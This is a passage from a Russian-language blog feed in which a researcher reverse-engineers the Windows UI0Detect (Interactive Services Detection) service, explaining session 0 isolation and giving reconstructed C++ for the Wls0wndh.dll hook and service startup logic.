&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>gSessionId <span class="sy3">!</span><span class="sy1">=</span> gServiceSessionId<span class="br0">&#41;</span> <span class="co1">// if (gSessionId != 0)</span>
&nbsp; &nbsp; <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; LODWORD<span class="br0">&#40;</span>Object<span class="br0">&#41;</span> <span class="sy1">=</span> <span class="nu0">0</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; RegisterHotKey<span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw4">struct</span> tagWND <span class="sy2">*</span><span class="br0">&#41;</span><span class="nu0">1</span>, <span class="br0">&#40;</span>ULONG_PTR<span class="br0">&#41;</span>Object<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; SetDebugHotKeys<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; SetWinlogonHotKeys<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; SetWindowArrangementHotKeys<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; SetPenHotKeys<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; CreatePointerDeviceProcessEvents<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; v10 <span class="sy1">=</span> <span class="br0">&#40;</span><span class="kw4">struct</span> _KEVENT <span class="sy2">*</span><span class="br0">&#41;</span>v57<span class="br0">&#91;</span><span class="nu0">8</span><span class="br0">&#93;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; EnterCrit<span class="br0">&#40;</span><span class="nu0">0</span>, <span class="nu0">1</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; gpkeRITEvent <span class="sy1">=</span> <span class="nu0">0</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; ObfDereferenceObject<span class="br0">&#40;</span><span class="br0">&#40;</span>PVOID<span class="br0">&#41;</span>v57<span class="br0">&#91;</span><span class="nu0">8</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; UserSessionSwitchLeaveCrit<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span>
<span class="br0">&#125;</span></pre></td></tr></table></div></td></tr></tbody></table></div>Так что переходя в сессию 0 в Windows 10 не забудьте поставить таймер на возврат, ну или напишите свой дров для клава-мыши :)<br />
<br />
<a href="https://www.cyberforum.ru/blogs/172954/blog6953.html">Исследование сервиса &quot;Обнаружение интерактивных служб&quot; (UI0Detect) Часть 3: Эпилог</a></div>

]]></content:encoded>
			<dc:creator>_lunar_</dc:creator>
			<guid isPermaLink="true">https://www.cyberforum.ru/blogs/172954/6910.html</guid>
		</item>
		<item>
			<title><![CDATA[Исследование сервиса "Обнаружение интерактивных служб" (UI0Detect) Часть 1: Windows Vista - Windows 7]]></title>
			<link>https://www.cyberforum.ru/blogs/172954/6813.html</link>
			<pubDate>Fri, 06 Nov 2020 09:15:08 GMT</pubDate>
			<description><![CDATA[После насквозь "дырявой" Windows XP в Microsoft прикинули расклад и задались вопросом - как же...]]></description>
			<content:encoded><![CDATA[<div>После насквозь &quot;дырявой&quot; Windows XP в Microsoft прикинули расклад и задались вопросом - как же изолировать систему от пользователя?<br />
Ведь в XP пользователь работал в той же среде, что и ядро операционной системы.<br />
Поэтому с выходом Windows Vista компания представила новый механизм изоляции сессии, в которой загружается операционная система.<br />
<br />
Как же это работает?<br />
После того, как система получает управление от BIOS (UEFI) winload.efi, происходит загрузка ядра ОС, процесс которой называется winload.exe (OS Loader).<br />
Сперва система создаёт сессию, в окружении которой создаётся рабочая станция. Затем, внутри рабочей станции, создаются рабочие столы.<br />
Рабочие станции могут быть интерактивные (к примеру WinSta0), т.е. имеют возможность оконного взаимодействия.<br />
И могут быть не интерактивные (например Service-0x0-3e7$ - сервисная служба NT AUTHORITY\СИСТЕМА), без каких-либо оконных процедур.<br />
Взаимодействие со службами, запущенными на таких рабочих станциях, происходит путём передачи данных через каналы (пайпы, события и т.д.).<br />
Рабочих столов также есть несколько видов:<br />
- Default основной рабочий стол, куда загружается Проводник системы (explorer.exe)<br />
- Winlogon, рабочий стол приветствия входа в систему (запрос логина и пароля)<br />
- Disconnect малоизученный рабочий стол<br />
- кроме того есть ещё один рабочий стол - Secure Desktop for UAC (название не точное).<br />
Обнаружить его не удалось (нужно точное название), но факт его присутствия на лицо: при запросе админских прав включается окно UAC, в этот момент делается скриншот фона рабочего стола и происходит затемнение.<br />
Данная сессия имеет нумерацию 0 (Session Id 0). В этой сессии работают все минимальные системные процессы (Protected) и ProtectedLite процессы - System, Registry, wininit.exe, services.exe, smss.exe, csrss.exe, svchost.exe.<br />
Более подробно о системных процессах читайте у Марка Руссиновича - Внутреннее устройство Windows, 7-е издание, Глава 3.<br />
После того, как ядро полностью загружено, создаётся новая сессия с номером 1 (Session Id 1).<br />
Вот это уже пользовательская сессия, в которой и работает первый залогинившийся юзер (winlogon.exe).<br />
<br />
Сессия 0 изолирована от сессии 1, но взаимодействие между ними всё же происходит. Рассмотрим этот механизм взаимодействия.<br />
Сервис &quot;Обнаружение интерактивных служб&quot; по умолчанию находится в режиме остановлен.<br />
Но если служба не работает, как же она перехватывает окна, появляющиеся в сеансе 0?<br />
Секрет кроется в малоизвестной библиотеке Wls0wndh.dll (Session0 Viewer Window Hook DLL).<br />
Имя самой библиотеки можно расшифровать как - WinLogon Session 0 Window Hook.<br />
Winlogon.exe на протяжении долгого времени накапливал все больше инструментария как загрузчик пользовательского режима, выполняя такие задачи, как настройка процесса локальной безопасности (LSASS), SCM, реестра, запуск процесса, отвечающего за извлечение файлов дампа из файла подкачки, и многое другое.<br />
Теперь эту роль выполняет Wininit.exe, загружая в том числе библиотеку Wls0wndh.dll.<br />
<br />
Одной из новых задач Wininit.exe является регистрация WinLogon Session 0 Window Hook, путем вызова функцией RegisterSession0ViewerWindowHookDll, которая является частью точки входа WinMain процесса Wininit.exe<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=6564&amp;d=1605034002" rel="Lightbox" id="attachment6564" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=6564&amp;thumb=1&amp;d=1605034002" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 1.png
Просмотров: 609
Размер:	128.5 Кб
ID:	6564" style="margin: 5px" /></a><br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="592695750"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="592695750" style="height: 350px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
</pre></td><td class="de1"><pre class="de1">DWORD ResilientSwitchDesktop<span class="br0">&#40;</span>HDESK hDesktop<span class="br0">&#41;</span> <span class="co1">// DWORD ResilientSwitchDesktopWithFade(HDESK hDesktop) in new build Win10</span>
<span class="br0">&#123;</span>
&nbsp; &nbsp; DWORD dwMilliseconds <span class="sy1">=</span> <span class="kw2">NULL</span><span class="sy4">;</span>
&nbsp; &nbsp; DWORD deErr <span class="sy1">=</span> NO_ERROR<span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">while</span> <span class="br0">&#40;</span><span class="sy3">!</span>SwitchDesktop<span class="br0">&#40;</span>hDesktop<span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; deErr <span class="sy1">=</span> GetLastError<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>dwMilliseconds <span class="sy1">&gt;=</span> <span class="nu0">1000</span><span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> deErr<span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; dwMilliseconds <span class="sy2">+</span><span class="sy1">=</span> <span class="nu0">100</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; Sleep<span class="br0">&#40;</span>dwMilliseconds<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">return</span> <span class="kw2">EXIT_SUCCESS</span><span class="sy4">;</span>
<span class="br0">&#125;</span>
&nbsp;
<span class="kw4">typedef</span> LRESULT<span class="br0">&#40;</span>CALLBACK<span class="sy2">*</span> _Session0ViewerWindowProcHook<span class="br0">&#41;</span><span class="br0">&#40;</span>
&nbsp; &nbsp; <span class="kw4">int</span> nCode,
&nbsp; &nbsp; WPARAM wParam,
&nbsp; &nbsp; LPARAM lParam
&nbsp; &nbsp; <span class="br0">&#41;</span><span class="sy4">;</span>
_Session0ViewerWindowProcHook Session0ViewerWindowProcHook<span class="sy4">;</span>
&nbsp;
HDESK s_hdeskApplication<span class="sy4">;</span> <span class="co1">// from Wininit!CreatePrimaryTerminal(s_hWinsta, lpMem, s_hdeskWinlogon, s_hdeskApplication, g_Context);</span>
&nbsp;
DWORD RegisterSession0ViewerWindowHookDll<span class="br0">&#40;</span>VOID<span class="br0">&#41;</span>
<span class="br0">&#123;</span>
&nbsp; &nbsp; <span class="kw4">int</span> Data <span class="sy1">=</span> <span class="kw2">NULL</span><span class="sy4">;</span>
&nbsp; &nbsp; DWORD cbData <span class="sy1">=</span> <span class="kw3">sizeof</span><span class="br0">&#40;</span>DWORD<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; DWORD Type <span class="sy1">=</span> REG_NONE<span class="sy4">;</span>
&nbsp; &nbsp; HKEY hKey <span class="sy1">=</span> <span class="kw2">nullptr</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>RegOpenKeyEx<span class="br0">&#40;</span>HKEY_LOCAL_MACHINE, _TEXT<span class="br0">&#40;</span><span class="st0">&quot;SYSTEM<span class="es1">\\</span>CurrentControlSet<span class="es1">\\</span>Control<span class="es1">\\</span>WinInit&quot;</span><span class="br0">&#41;</span>, REG_OPTION_RESERVED, KEY_QUERY_VALUE, <span class="sy3">&amp;</span>hKey<span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sy3">||</span> <span class="br0">&#40;</span>RegQueryValueEx<span class="br0">&#40;</span>hKey, _TEXT<span class="br0">&#40;</span><span class="st0">&quot;DisableS0Viewer&quot;</span><span class="br0">&#41;</span>, <span class="kw2">nullptr</span>, <span class="sy3">&amp;</span>Type, <span class="br0">&#40;</span>LPBYTE<span class="br0">&#41;</span><span class="sy3">&amp;</span>Data, <span class="sy3">&amp;</span>cbData<span class="br0">&#41;</span>, RegCloseKey<span class="br0">&#40;</span>hKey<span class="br0">&#41;</span>, <span class="sy3">!</span>Data<span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; HMODULE hModule <span class="sy1">=</span> LoadLibrary<span class="br0">&#40;</span>_TEXT<span class="br0">&#40;</span><span class="st0">&quot;WlS0WndH&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>hModule<span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Session0ViewerWindowProcHook <span class="sy1">=</span> <span class="br0">&#40;</span>_Session0ViewerWindowProcHook<span class="br0">&#41;</span>GetProcAddress<span class="br0">&#40;</span>hModule, <span class="st0">&quot;Session0ViewerWindowProcHook&quot;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>Session0ViewerWindowProcHook<span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>SetThreadDesktop<span class="br0">&#40;</span>s_hdeskApplication<span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SetWindowsHookEx<span class="br0">&#40;</span>WH_CALLWNDPROC, Session0ViewerWindowProcHook, hModule, <span class="kw2">NULL</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ResilientSwitchDesktop<span class="br0">&#40;</span>s_hdeskApplication<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>hModule<span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; FreeLibrary<span class="br0">&#40;</span>hModule<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">return</span> <span class="kw2">EXIT_SUCCESS</span><span class="sy4">;</span>
<span class="br0">&#125;</span></pre></td></tr></table></div></td></tr></tbody></table></div>Если недокументированное значение DisableS0Viewer отсутствует в разделе реестра HKLM\System\CurrentControlSet\Control\Wi nInit, он пытается загрузить Wls0wndh.dll, а затем выполняет запрос функции Session0ViewerWindowProcHook внутри Wls0wndh.dll<br />
Если все прошло успешно, он переключаетcя на рабочий стол Default и регистрирует процедуру как обработчик окна с помощью SetWindowsHookEx.<br />
Теперь у нас есть механизм, позволяющий понять, как сервис &quot;Обнаружение интерактивных служб&quot; может автоматически запускаться - за это  отвечает перехват обратного вызова (callback hook).<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="883684680"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="883684680" style="height: 350px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
</pre></td><td class="de1"><pre class="de1"><span class="kw4">typedef</span> BOOLEAN<span class="br0">&#40;</span>NTAPI<span class="sy2">*</span> _RtlTimeToSecondsSince1980<span class="br0">&#41;</span><span class="br0">&#40;</span>
&nbsp; &nbsp; _In_ PLARGE_INTEGER Time,
&nbsp; &nbsp; _Out_ PULONG ElapsedSeconds
&nbsp; &nbsp; <span class="br0">&#41;</span><span class="sy4">;</span>
_RtlTimeToSecondsSince1980 RtlTimeToSecondsSince1980<span class="sy4">;</span>
&nbsp;
LRESULT WINAPI Session0ViewerWindowProcHook<span class="br0">&#40;</span><span class="kw4">int</span> nCode, WPARAM wParam, LPARAM lParam<span class="br0">&#41;</span>
<span class="br0">&#123;</span>
&nbsp; &nbsp; HMODULE hModule <span class="sy1">=</span> GetModuleHandle<span class="br0">&#40;</span>TEXT<span class="br0">&#40;</span><span class="st0">&quot;ntdll&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>hModule<span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; RtlTimeToSecondsSince1980 <span class="sy1">=</span> <span class="br0">&#40;</span>_RtlTimeToSecondsSince1980<span class="br0">&#41;</span>GetProcAddress<span class="br0">&#40;</span>hModule, <span class="st0">&quot;RtlTimeToSecondsSince1980&quot;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; BOOL UserWorkItem <span class="sy1">=</span> FALSE<span class="sy4">;</span>
&nbsp; &nbsp; DWORD LastSecondsStart <span class="sy1">=</span> <span class="kw2">NULL</span><span class="sy4">;</span>
&nbsp; &nbsp; ULONG SecondsSince1980 <span class="sy1">=</span> <span class="kw2">NULL</span><span class="sy4">;</span>
&nbsp; &nbsp; FILETIME SystemTimeAsFileTime<span class="br0">&#123;</span><span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy3">!</span>nCode <span class="sy3">&amp;&amp;</span> <span class="sy2">*</span><span class="br0">&#40;</span>PDWORD<span class="br0">&#41;</span><span class="br0">&#40;</span>lParam <span class="sy2">+</span> <span class="nu0">16</span><span class="br0">&#41;</span> <span class="sy1">==</span> <span class="nu0">24</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy2">*</span><span class="br0">&#40;</span>PDWORD64<span class="br0">&#41;</span><span class="br0">&#40;</span>lParam <span class="sy2">+</span> <span class="nu0">8</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy3">!</span>FindWindow<span class="br0">&#40;</span>TEXT<span class="br0">&#40;</span><span class="st0">&quot;$$$UI0Background&quot;</span><span class="br0">&#41;</span>, <span class="kw2">nullptr</span><span class="br0">&#41;</span> <span class="sy3">&amp;&amp;</span> <span class="sy3">!</span>GetParent<span class="br0">&#40;</span><span class="sy2">*</span><span class="br0">&#40;</span>HWND<span class="sy2">*</span><span class="br0">&#41;</span><span class="br0">&#40;</span>lParam <span class="sy2">+</span> <span class="nu0">24</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="sy3">&amp;&amp;</span> <span class="sy3">!</span>InterlockedCompareExchange<span class="br0">&#40;</span><span class="sy3">&amp;</span>g_lWorkItemGuard, <span class="nu0">1</span>, <span class="nu0">0</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; GetSystemTimeAsFileTime<span class="br0">&#40;</span><span class="sy3">&amp;</span>SystemTimeAsFileTime<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>RtlTimeToSecondsSince1980<span class="br0">&#40;</span><span class="br0">&#40;</span>PLARGE_INTEGER<span class="br0">&#41;</span><span class="sy3">&amp;</span>SystemTimeAsFileTime, <span class="sy3">&amp;</span>SecondsSince1980<span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>SecondsSince1980 <span class="sy1">&gt;</span> g_dwElapsedSinceLastStart <span class="sy3">&amp;&amp;</span> SecondsSince1980 <span class="sy2">-</span> g_dwElapsedSinceLastStart <span class="sy1">&gt;=</span> <span class="nu12">0x12C</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; UserWorkItem <span class="sy1">=</span> QueueUserWorkItem<span class="br0">&#40;</span>StartUI0DetectThreadProc, <span class="kw2">nullptr</span>, WT_EXECUTEDEFAULT<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; LastSecondsStart <span class="sy1">=</span> g_dwElapsedSinceLastStart<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>UserWorkItem<span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; LastSecondsStart <span class="sy1">=</span> SecondsSince1980<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g_dwElapsedSinceLastStart <span class="sy1">=</span> LastSecondsStart<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp;
&nbsp; &nbsp; InterlockedCompareExchange<span class="br0">&#40;</span><span class="sy3">&amp;</span>g_lWorkItemGuard, <span class="nu0">0</span>, <span class="nu0">1</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">return</span> CallNextHookEx<span class="br0">&#40;</span><span class="kw2">nullptr</span>, nCode, wParam, lParam<span class="br0">&#41;</span><span class="sy4">;</span>
<span class="br0">&#125;</span></pre></td></tr></table></div></td></tr></tbody></table></div>Внутри Session0ViewerWindowProcHook довольно простая логика: выполняется проверка является ли вызов оконным сообщением WM_SHOWWINDOW, которое сигнализирует о появлении нового окна на рабочем столе. Если это так, DLL сначала проверяет имя окна $$$UI0Background и отключается, если это окно уже существует.<br />
Вторая проверка - это сколько времени прошло с момента последней попытки запустить службу. Если прошло менее 300 (0x12C) секунд, DLL не запустит службу снова.<br />
Наконец, если все проверки выполнены успешно, запрос ставится в очередь с использованием API пула потоков с обратным вызовом StartUI0DetectThreadProc в качестве начального адреса потока<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="201700925"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="201700925" style="height: 302px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
</pre></td><td class="de1"><pre class="de1">DWORD WINAPI StartUI0DetectThreadProc<span class="br0">&#40;</span>PVOID Parameter<span class="br0">&#41;</span>
<span class="br0">&#123;</span>
&nbsp; &nbsp; SC_HANDLE hService <span class="sy1">=</span> <span class="kw2">nullptr</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; SC_HANDLE hSCManager <span class="sy1">=</span> OpenSCManager<span class="br0">&#40;</span><span class="kw2">nullptr</span>, <span class="kw2">nullptr</span>, SC_MANAGER_ALL_ACCESS<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy3">!</span>hSCManager <span class="sy3">||</span> <span class="br0">&#40;</span>hService <span class="sy1">=</span> OpenService<span class="br0">&#40;</span>hSCManager, TEXT<span class="br0">&#40;</span><span class="st0">&quot;UI0Detect&quot;</span><span class="br0">&#41;</span>, SERVICE_START<span class="br0">&#41;</span>, hService <span class="sy1">==</span> <span class="kw2">nullptr</span><span class="br0">&#41;</span> <span class="sy3">||</span> <span class="sy3">!</span>StartService<span class="br0">&#40;</span>hService, <span class="kw2">NULL</span>, <span class="kw2">nullptr</span><span class="br0">&#41;</span><span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> GetLastError<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>hService<span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; CloseServiceHandle<span class="br0">&#40;</span>hService<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>hSCManager<span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; CloseServiceHandle<span class="br0">&#40;</span>hSCManager<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">return</span> <span class="kw2">EXIT_SUCCESS</span><span class="sy4">;</span>
<span class="br0">&#125;</span></pre></td></tr></table></div></td></tr></tbody></table></div>Эта процедура выполняет очень простую задачу: открывает дескриптор для SCM, затем открывает дескриптор для службы UI0Detect и вызвать StartService, чтобы дать команду SCM запустить ее.<br />
На этом завершается вся работа, выполняемая Wls0wndh.dll.<br />
DLL просто подтверждает перехваты обратных вызовов оконных процедур, когда они поступают.<br />
<br />
Всё сервис запущен, теперь мы обратим внимание на отвечающий за нее модуль - UI0Detect.exe.<br />
Поскольку UI0Detect.exe обрабатывает как пользовательскую (клиентскую), так и служебную (системную) часть процесса, он работает в двух режимах. В первом режиме он ведет себя как типичная служба Windows и регистрируется в SCM. Во втором режиме служба обнаруживает, что была запущена в сессии входа в систему, и делает обратный переход в режим клиента.<br />
<br />
Глобальные переменные сервиса UI0Detect<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="519828682"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="519828682" style="height: 350px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
</pre></td><td class="de1"><pre class="de1">HINSTANCE g_hInstance <span class="sy1">=</span> <span class="kw2">nullptr</span><span class="sy4">;</span>
HWND g_hWndS0Dlg <span class="sy1">=</span> <span class="kw2">nullptr</span><span class="sy4">;</span>
LPCVOID g_pxSharedInfo <span class="sy1">=</span> <span class="kw2">nullptr</span><span class="sy4">;</span>
HANDLE g_hSharedInfo <span class="sy1">=</span> <span class="kw2">nullptr</span>, g_hFullSharedInfo <span class="sy1">=</span> <span class="kw2">nullptr</span>, g_hEventSource <span class="sy1">=</span> <span class="kw2">nullptr</span><span class="sy4">;</span>
LPVOID g_TopLevelWindowList <span class="sy1">=</span> <span class="kw2">nullptr</span><span class="sy4">;</span>
SERVICE_STATUS_HANDLE hssService <span class="sy1">=</span> <span class="kw2">nullptr</span><span class="sy4">;</span>
&nbsp;
GUID g_guidService<span class="br0">&#123;</span><span class="br0">&#125;</span>, g_hSessionService<span class="br0">&#123;</span><span class="br0">&#125;</span>, g_guidClient<span class="br0">&#123;</span><span class="br0">&#125;</span><span class="sy4">;</span>
FILETIME g_qwFTAtStart<span class="br0">&#123;</span><span class="br0">&#125;</span><span class="sy4">;</span>
LASTINPUTINFO g_xTCAtLastInput<span class="br0">&#123;</span><span class="br0">&#125;</span><span class="sy4">;</span>
SERVICE_STATUS ssService<span class="br0">&#123;</span><span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp;
BOOL g_fSqmIsOptedIn <span class="sy1">=</span> <span class="kw2">NULL</span><span class="sy4">;</span>
__int64 qword_140008620 <span class="sy1">=</span> <span class="kw2">NULL</span><span class="sy4">;</span>
<span class="kw4">const</span> WCHAR word_1400059D8 <span class="sy1">=</span> <span class="kw2">NULL</span><span class="sy4">;</span>
__int16 word_140008752 <span class="sy1">=</span> <span class="kw2">NULL</span><span class="sy4">;</span>
DWORD g_dwTopLevelWindowCount <span class="sy1">=</span> <span class="kw2">NULL</span>, g_dwTCAtLastUserPing <span class="sy1">=</span> <span class="kw2">NULL</span><span class="sy4">;</span>
WCHAR near<span class="sy2">*</span> g_EmptyString <span class="sy1">=</span> <span class="kw2">nullptr</span><span class="sy4">;</span>
WCHAR g_wszPath <span class="sy1">=</span> <span class="kw2">NULL</span><span class="sy4">;</span>
WCHAR g_wszWindowsPath<span class="br0">&#91;</span><span class="nu0">68</span><span class="br0">&#93;</span><span class="br0">&#123;</span><span class="br0">&#125;</span>, g_wszProgramFilesPath<span class="br0">&#91;</span><span class="nu0">72</span><span class="br0">&#93;</span><span class="br0">&#123;</span><span class="br0">&#125;</span><span class="sy4">;</span></pre></td></tr></table></div></td></tr></tbody></table></div>Служба UI0Detect продолжает вызывать StartServiceCtrlDispatcher<br />
